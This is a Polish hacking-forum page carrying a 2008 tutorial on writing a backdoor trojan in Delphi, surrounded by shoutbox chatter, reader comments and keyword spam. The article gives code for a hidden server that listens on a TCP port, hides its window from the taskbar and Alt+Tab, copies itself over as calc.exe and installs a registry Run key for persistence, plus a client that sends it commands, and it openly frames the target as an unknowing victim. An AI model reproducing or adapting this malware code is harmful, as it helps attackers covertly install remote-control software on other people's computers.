Artykuł: Pisanie trojana od PODSTAW - Hacking security download hack programowanie bezpieczenstwo w sieci

Login:

Hasło:

Zapamiętaj mnie

       

Zarejestruj się.    Zapomniane hasło?





Portal
  Strona Główna
  Artykuły
  Download
  FAQ
  Forum
  Linki
  Kategorie Newsów
  Kontakt
  Reklama
  Regulamin
  Szukaj
  Statystyki Serwisu

Różne
  Namierz IP
  Zarażone programy
  Google h4x0r
  Przetestuj gry
  Site map
  Bramka proxy
  Encyklopedia
  Sprawdź otwarte porty

Skanery





Tylko zalogowani mogą dodawać posty w shoutboksie.

~breakeheart
DATA: 21/12/2011 01:49
Witam mam wielki kłopot za pomoc zapłacę potrzebuje żeby ktoś sciagnol mi bana na server MexiliaMt2 to gierka Morrg ale za wiele kasy w nia wsadzilem podam gadu jak ktos sie zna na tym to zapraszam do

~pawello1852
DATA: 10/04/2011 04:53
[Sleep]

~vi0
DATA: 01/03/2011 06:51





~vi0
DATA: 08/02/2011 11:10
jest tu kto?

xD

czy to ghost_forum :{}

~kewin155
DATA: 05/12/2009 08:30
elo wszystkim

~Pavel9099
DATA: 20/01/2009 09:17
Straszna jest organizacja tego konkursu, naprawdę. Żeby tyle czekać na wyniki. BARDZO jestem zawiedziony.

~Pavel9099
DATA: 03/01/2009 00:20
trzy pięć zero

~bejkolczasty
DATA: 29/12/2008 14:43
elo

@Pallas
DATA: 28/12/2008 03:24
Jeszcze dziś postaram się ogłosić wyniki smiley

~Pavel9099
DATA: 27/12/2008 12:29
Zostały 4 dni do 31.12. Mam nadzieję że konkurs zostanie w tym czasie rozstrzygnięty tak jak @Pallas mówiłeś.




2008920 Unikalnych wizyt


Na samym początku opisze mniej-więcej co to Trojan. Backdoor (bo tak nazywamy trojany) to programy które otwierają dany port - zostawiają "otwartą furtke" do komputera ofiary. Przez taki port napastnik może wejść bez problemu i "bawić się" czyjimś komputerem. Opisze tu jak zrobić server'a (aplikacja która po odpaleniu działa w ukryciu; otwiera "furtke") i client'a (program za którego pomocą można sterować PCtem ofiary). Trojan nasz bedzie działać na protokole TCP<>IP. Tutorialek ten bedzie dotyczył osób które miały już jakieś doczynienia z kompilatorem Borland'a i oczywiście z jezykiem programowania Delphi. Na samym wstępie mówie że bedą potrzebne 2 komponenty do Delphi - ServerSocket i ClientSocket, które można sciągnac z mojej strony ((Tutaj!)). Powiedzmy że mamy zainstalowaną zakładke INTERNET... - możemy przystępować do odpowiednich czynności ^^...


Budowa Servera


- Server bedzie prosty - bedzie działać w trybie ukrytym (ofiara nie bedzie wiedziała że go ma zainstalowanego - chyba logiczne, nie? ;P ), bedzie się instalował w systemie i posiadał aż 2 funkcje (ale opiszę tu jak dodać wlasne!).



Otórz na samym początku wstawiamy na Forme ServerSocket1 i po lewej w Object Inspector/Proporties ustawiamy :


Port - bedzie to otwarty port (albo dla lepszego zrozumienia : "Otwarta Furtka") - wpisujemy np. 1992


Active - zmieniamy na True - server bedzie się "uruchamiał" zaraz po odpaleniu Aplikacji...


Teraz wchodzimy w zakładke Events (In Object Inspector naturalnie), klikamy tam 2 razy na polu obok napisu "OnClientRead" (są to wiadomości przychodzące od Clienta). Właśnie tu bedziemy pisali funkcje naszego Backdoor'a. Teraz dodamy zmienną "command" (bedą w niej wszystkie komeny które przesyła Client). Odrazu przypiszemy wysyłane komendy do tej zmiennej... Tak to powinno wyglądać :


procedure TForm1.ServerSocket1ClientRead(Sender: TObject;

Socket: TCustomWinSocket);

var

command : String; //zmienna


begin


command := Socket.ReceiveText; //przypisana zmienna

end;




Teraz zajmiemy się dodawaniem FUNKCJI naszego trojanka...

Struktura wygląd bardzo prosto :


if command = 'lol' then

begin


showmessage('Jestes lolkiem!');


end;


Pierwsza linijka na Polski oznacza : "Jeśli wysłana komenda od Clienta to -lol- to..."

Druga linijka oznacza "...zacznij..."

Trzecia oznacza "...wyświetlać komunikat o treści -Jesteś lolkiem!-..."

Czwarta oznacza "...Koniec funkcji trojana..."
- proste to wszystko nie?... A..., i to jest można by powiedzieć zwór ogólny dodawania funkcji Trojana... Tylko należy zmienić wiadomość od Clienta, i całe zdarzenie funkcji (w moim przypadku był to komunikat)...


Zarys całkowity procedurki odpowiedzialnej za funkcjonalność servera to :


procedure TForm1.ServerSocket1ClientRead(Sender: TObject;

Socket: TCustomWinSocket);


var

command : String; //zmienna

begin

command := Socket.ReceiveText; //przypisana zmienna




if command = 'lol' then

begin

showmessage('Jestes Lolkiem!');


end;



if command = 'hax' then

begin

showmessage('Mr. MaLutki <:P> tu był...');


end;

end;




Teraz jak mamy juz funkcje zaprogramowane, trzeba ukryć server...


Klikamy na puste miejsce Form'u 2 razy, i znów widzimy text ... wpisujemy :


var

ExtendedStyle:Integer;

begin


Application.ShowMainForm := False; //ukryta główna Form'a Serverka

ExtendedStyle:=GetWindowLong(Application.Handle, GWL_EXSTYLE); // \\

SetWindowLong(Application.Handle,GWL_EXSTYLE, // >- Nie widać formy w pasku start ani w ALT+TAB....

ExtendedStyle or WS_EX_TOOLWINDOW and not WS_EX_APPWINDOW); // //


end;




Teraz nasz server jest ukryty... Zostala jeszcze jedna rzecz - instalacja...

Uses Registry; //należy dodać do Deklaracji Uses "Registry" (deklaracja ta jest na samej górze pola z edycją kodu)

var


Rej : TRegistry;

begin

copyfile( PChar(paramstr(0)), 'c:\windows\calc.exe', true); //Kopiowanie serva do C:\Windows\Calc.exe

Rej := TRegistry.Create; //Zdeklarowanie zmiennej rejestru


try

Rej.RootKey := HKEY_CURRENT_USER; //głowny klucz w którym bedziemy się bawić...

Rej.OpenKey('Software\Microsoft\Windows\CurrentVersion\Run', True); //otwarcie klucza rejestru odpowiedającego za autorun...

Rej.WriteString('Calc', 'C:\Windows\Calc.exe'); //Dodanie do rejestru wpisu o nazwie "Calc" i wartości "C:\Windows\Calc.exe"...


finally

Rej.Free; //zwolnienie uchwytu rejestru

end;

end;




Server gotowy do użycia!... Zapisujemy projekt... ;)


Client...


Teraz pora na Clienta... - z nim jest troche mniej pisania kodu, lecz więcej elementów "wizualnych"...
Wstawiamy na Forme Clienta 4 Buttony, jedno pole Edit...




Zaczynam od Button1



ClientSocket1.Socket.SendText('lol'); //wysłanie polecenia do Servera



Teraz od Button2


ClientSocket1.Socket.SendText('hax'); //wysłanie polecenia do Servera



Button3...



ClientSocket1.Host := Edit1.Text; //przypisanie Hostu (do połączenia się) z pola do edycji Edit1

ClientSocket1.Active := True; //Aktywowanie Clienta....





Button4...


ClientSocket1.Active := False; //Od-aktywowanie (przeczenie z Aktywowanie :P) Clienta...




Teraz obojętnie można zrobić dodatki... np.
W Events ClientSocket1 - OnConneted można dać funkcje...


showmessage('Połączyleś się z Serrverem!');

...ale to już jest "bajerowanie" clienta... ;) na podstawy nie potrzebne...



Jak widać pisanie Trojana jest proste!


Przykładowy kod źródłowy :
http://www.hms.ovh.org/art.trojan.rar




Art By MaLy
www: e-hacking.net

Dodane przez Pallas dnia styczeń 24 2008 07:05:30
3 Komentarzy ~ 4317 Czytań Drukuj


cffir20 dnia kwiecień 13 2008 08:30:28
w jakim programie to trzeba zrobic?
oskar1233 dnia lipiec 07 2008 02:18:09
@up: lol
A może takie coś do C++? Byłbym wdzięczny smiley
yoyohh dnia listopad 09 2009 19:40:11
the two colors that are aion power level next to the main

color’s aion powerleveling complement form the triad

colors, which guide the cheap aion power leveling way for

selecting the aion power level jewelry and

accessories aion powerleveling to match.That

same cheap aion power leveling yellow suit when

combined with silver, or blue, or even red will make the wow power leveling

person look elegant and world of warcraft gold professional.


Zaloguj się, żeby móc dodawać komentarze.


Dodawanie ocen dostępne tylko dla zalogowanych Użytkowników.

Proszę się zalogować lub zarejestrować, żeby móc dodawać oceny.

Brak ocen.
Bezpieczeństwo w sieci newsy IT, autorskie artykuły Bezpieczeństwo w sieci
Projekty domów pozycjonowanie tworzenie stron projekt domu krzesla wizualizacje darmowe aliasy laptopy wyposazenie obiektów sportowych jak napisac cv bielizna erotyczna implanty Kraków meble Warszawa smieszne filmy counter strike
905 brak autoryzacji no auth nieautoryzowano sprawdz autoryzacje